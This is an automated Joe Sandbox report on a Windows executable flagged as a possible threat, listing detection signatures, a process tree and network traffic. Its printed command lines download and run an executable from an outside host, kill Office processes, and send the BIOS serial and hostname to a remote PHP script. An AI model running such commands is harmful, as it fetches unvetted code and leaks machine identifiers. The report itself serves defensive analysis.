Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe

Overview

General Information

Sample name:SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe
Analysis ID:1538480
MD5:36f1b6a1df5c33a33dba8396c877062d
SHA1:b0bf0049d0f56a60056802ca484d96d28584fe61
SHA256:5dfc2387cbc7e73e92ca2d4526a73a812bb61a7d8a6a8f900170dbcffc9394d5
Tags:exe
Infos:

Detection

Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
AI detected suspicious sample
Machine Learning detection for sample
Modifies existing user documents (likely ransomware behavior)
Obfuscated command line found
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Yara detected BatToExe compiled binary
Connects to many different domains
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sleep loop found (likely to delay execution)
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes

Classification

Process Tree

  • System is w10x64
  • SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe (PID: 6304 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe" MD5: 36F1B6A1DF5C33A33DBA8396C877062D)
    • conhost.exe (PID: 3060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 3576 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\24C7.tmp\my_cleaner2.bat" "C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • ariac.exe (PID: 4536 cmdline: \Users\user\TMP\cr-20241021-53901\ariac.exe -l log.txt -o clean.exe http://upjv.info/clean/clean2.exe MD5: 53D237CBBDAC5AE3DC65C9EE8A51094D)
      • clean.exe (PID: 7124 cmdline: clean.exe -y MD5: A527013DA966D9FD8C16E6BB70937CD2)
      • taskkill.exe (PID: 6128 cmdline: taskkill /IM WINWORD.EXE /T /F MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
      • taskkill.exe (PID: 6048 cmdline: taskkill /IM EXCEL.EXE /T /F MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
      • taskkill.exe (PID: 5268 cmdline: taskkill /IM SOFFICE.BIN /T /F MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
      • PING.EXE (PID: 2380 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)
      • 7z.exe (PID: 5960 cmdline: \Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe a \Users\user\TMP\cr-20241021-53901.zip \Users\user\TMP\cr-20241021-53901 MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)
      • WMIC.exe (PID: 5548 cmdline: wmic bios get serialnumber MD5: E2DE6500DE1148C7F6027AD50AC8B891)
      • more.com (PID: 2212 cmdline: more +1 serialnumber.txt MD5: 03805AE7E8CBC07840108F5C80CF4973)
      • ariac.exe (PID: 1292 cmdline: \Users\user\TMP\cr-20241021-53901\ariac.exe -l log2.txt -o result.html "http://upjv.info/clean/entree.php?poste=user-PC^&serial=F2LEUD3EOH" MD5: 53D237CBBDAC5AE3DC65C9EE8A51094D)
      • firefox.exe (PID: 1164 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" "http://upjv.info/clean/clean.php?serial=F2LEUD3EOH" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
      • PING.EXE (PID: 7164 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)
      • PING.EXE (PID: 5136 cmdline: ping 127.0.0.1 -n 420 MD5: B3624DD758CCECF93A1226CEF252CA12)
  • firefox.exe (PID: 6152 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" http://upjv.info/clean/clean.php?serial=F2LEUD3EOH --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
    • firefox.exe (PID: 1088 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" http://upjv.info/clean/clean.php?serial=F2LEUD3EOH MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
      • firefox.exe (PID: 5548 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2264 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ee62d03a-b3f3-4839-a2d9-d46293892022} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2434ae6bb10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
      • firefox.exe (PID: 7652 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4164 -parentBuildID 20230927232528 -prefsHandle 4628 -prefMapHandle 4620 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {82d645db-fc8a-46d4-a6c6-6ecf6ff53d4a} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2435dcb5e10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
      • firefox.exe (PID: 8184 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5136 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5200 -prefMapHandle 5196 -prefsLen 33119 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02166d0c-fa79-4115-8a80-2fad783b6113} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2435db1b910 utility MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeJoeSecurity_BatToExeYara detected BatToExe compiled binaryJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000000B.00000002.2223771083.00000000028F0000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BatToExeYara detected BatToExe compiled binaryJoe Security
      00000005.00000002.2157879689.000000000073E000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BatToExeYara detected BatToExe compiled binaryJoe Security
        0000000E.00000003.2237351744.0000000001B67000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BatToExeYara detected BatToExe compiled binaryJoe Security
          0000000B.00000003.2223024451.0000000002AE1000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BatToExeYara detected BatToExe compiled binaryJoe Security
            00000005.00000003.2144398167.00000000024F0000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BatToExeYara detected BatToExe compiled binaryJoe Security
              Click to see the 49 entries

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              0.0.SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe.400000.0.unpackJoeSecurity_BatToExeYara detected BatToExe compiled binaryJoe Security
                0.2.SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe.400000.0.unpackJoeSecurity_BatToExeYara detected BatToExe compiled binaryJoe Security

                  Sigma Signatures

                  ⊘No Sigma rule has matched

                  Suricata Signatures

                  ⊘No Suricata rule has matched

                  Joe Sandbox Signatures

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  Multi AV Scanner detection for submitted file
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeReversingLabs: Detection: 23%
                  AI detected suspicious sample
                  Source: Submited SampleIntegrated Neural Analysis Model: Matched 84.3% probability
                  Machine Learning detection for sample
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeJoe Sandbox ML: detected
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\License.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\readme.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\License.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip64\readme.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\DefaultData\settings\settings_readme.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\readme.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\LauncherLicense.txtJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeFile created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\Other\Source\Readme.txtJump to behavior
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49774 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49780 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49788 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49867 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:49894 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:49893 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49927 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:49928 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 52.222.236.120:443 -> 192.168.2.5:49930 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:49937 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49939 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49940 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49938 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50030 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50031 version: TLS 1.2
                  Source: Binary string: NapiNSP.pdbUGP source: firefox.exe, 00000011.00000003.2508775813.00000243577B6000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: NapiNSP.pdb source: firefox.exe, 00000011.00000003.2508775813.00000243577B6000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: netprofm.pdb source: firefox.exe, 00000011.00000003.2504585407.0000024369605000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: netprofm.pdbUGP source: firefox.exe, 00000011.00000003.2504585407.0000024369605000.00000004.00000020.00020000.00000000.sdmp
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_00403E37 FindFirstFileW,5_2_00403E37
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C55869 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,10_2_00C55869
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C575DA FindFirstFileW,10_2_00C575DA
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_0040451D __EH_prolog,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLogicalDriveStringsW,5_2_0040451D
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\'\Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\cr-20241021-53901'\Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\'\Users\Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\Jump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile opened: C:\Users\user\TMP\cr-20241021-53901\'\Users\user\TMP\Jump to behavior
                  Source: firefox.exeMemory has grown: Private usage: 1MB later: 248MB

                  Networking

                  barindex
                  Uses ping.exe to check the status of other devices and networks
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
                  Source: unknownNetwork traffic detected: DNS query count 31
                  Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKdate: Mon, 21 Oct 2024 09:39:03 GMTcontent-type: application/x-msdownloadcontent-length: 2521803last-modified: Tue, 03 May 2022 21:28:28 GMTx-iplb-request-id: 90D90206:BED6_D5BA2111:0050_67162137_4F9F4:52D1Age: 0X-CDN-Cache: MISSX-CDN-Request-ID: 509182289X-CDN-Pop: bhsAccept-Ranges: bytesConnection: keep-aliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f9 08 ad 42 bd 69 c3 11 bd 69 c3 11 bd 69 c3 11 d2 76 c8 11 be 69 c3 11 3e 75 cd 11 b5 69 c3 11 d2 76 c9 11 b6 69 c3 11 d2 76 c7 11 bf 69 c3 11 33 61 9c 11 bf 69 c3 11 bd 69 c2 11 1d 69 c3 11 3e 61 9e 11 b0 69 c3 11 8b 4f c8 11 e5 69 c3 11 8b 4f c9 11 be 69 c3 11 a6 f4 69 11 b2 69 c3 11 a6 f4 5d 11 bf 69 c3 11 7a 6f c5 11 bc 69 c3 11 52 69 63 68 bd 69 c3 11 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 40 05 e7 5a 00 00 00 00 00 00 00 00 e0 00 2f 01 0b 01 06 00 00 94 02 00 00 d0 00 00 00 00 00 00 9c 76 02 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 03 00 00 04 00 00 00 00 00 00 02 00 00 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 09 03 00 8c 00 00 00 00 80 03 00 90 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 02 00 34 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c5 92 02 00 00 10 00 00 00 94 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b0 64 00 00 00 b0 02 00 00 66 00 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 45 00 00 00 20 03 00 00 02 00 00 00 fe 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 73 78 64 61 74 61 00 04 00 00 00 00 70 03 00 00 02 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 02 00 c0 2e 72 73 72 63 00 00 00 90 20 00 00 00 80 03 00 00 22 00 00 00 02 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  Source: Joe Sandbox ViewIP Address: 34.149.100.209 34.149.100.209
                  Source: Joe Sandbox ViewIP Address: 34.117.188.166 34.117.188.166
                  Source: Joe Sandbox ViewIP Address: 52.222.236.120 52.222.236.120
                  Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
                  Source: Joe Sandbox ViewJA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKdate: Mon, 21 Oct 2024 09:39:22 GMTcontent-type: text/html; charset=UTF-8x-powered-by: PHP/8.1content-encoding: gzipx-iplb-request-id: 90D90209:D366_D5BA2111:0050_6716214E_6C4F4:29F2Age: 0X-CDN-Cache: MISSX-CDN-Request-ID: 282493564X-CDN-Pop: bhsAccept-Ranges: bytesContent-Length: 59Connection: keep-aliveData Raw: 1f 8b 08 00 00 00 00 00 00 03 7a bf 7b bf 82 82 42 70 6a 51 66 62 8e 5f 69 6e 52 6a 91 82 ad 82 b1 a5 8f ae 87 a1 a1 ae 91 99 02 17 00 00 00 ff ff 03 00 a0 c3 7e ec 21 00 00 00 Data Ascii: z{BpjQfb_inRj~!
                  Source: global trafficHTTP traffic detected: GET /clean/clean2.exe HTTP/1.1User-Agent: aria2/1.36.0Accept: */*,application/metalink4+xml,application/metalink+xmlHost: upjv.infoWant-Digest: SHA-512;q=1, SHA-256;q=1, SHA;q=0.1
                  Source: global trafficHTTP traffic detected: GET /clean/entree.php?poste=user-PC^&serial=F2LEUD3EOH HTTP/1.1User-Agent: aria2/1.36.0Accept: */*,application/metalink4+xml,application/metalink+xmlHost: upjv.infoWant-Digest: SHA-512;q=1, SHA-256;q=1, SHA;q=0.1
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /clean/clean.php?serial=F2LEUD3EOH HTTP/1.1Host: upjv.infoUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-aliveUpgrade-Insecure-Requests: 1
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: upjv.infoUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: image/avif,image/webp,*/*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-aliveReferer: http://upjv.info/clean/clean.php?serial=F2LEUD3EOH
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
                  Source: global trafficHTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
                  Source: global trafficHTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
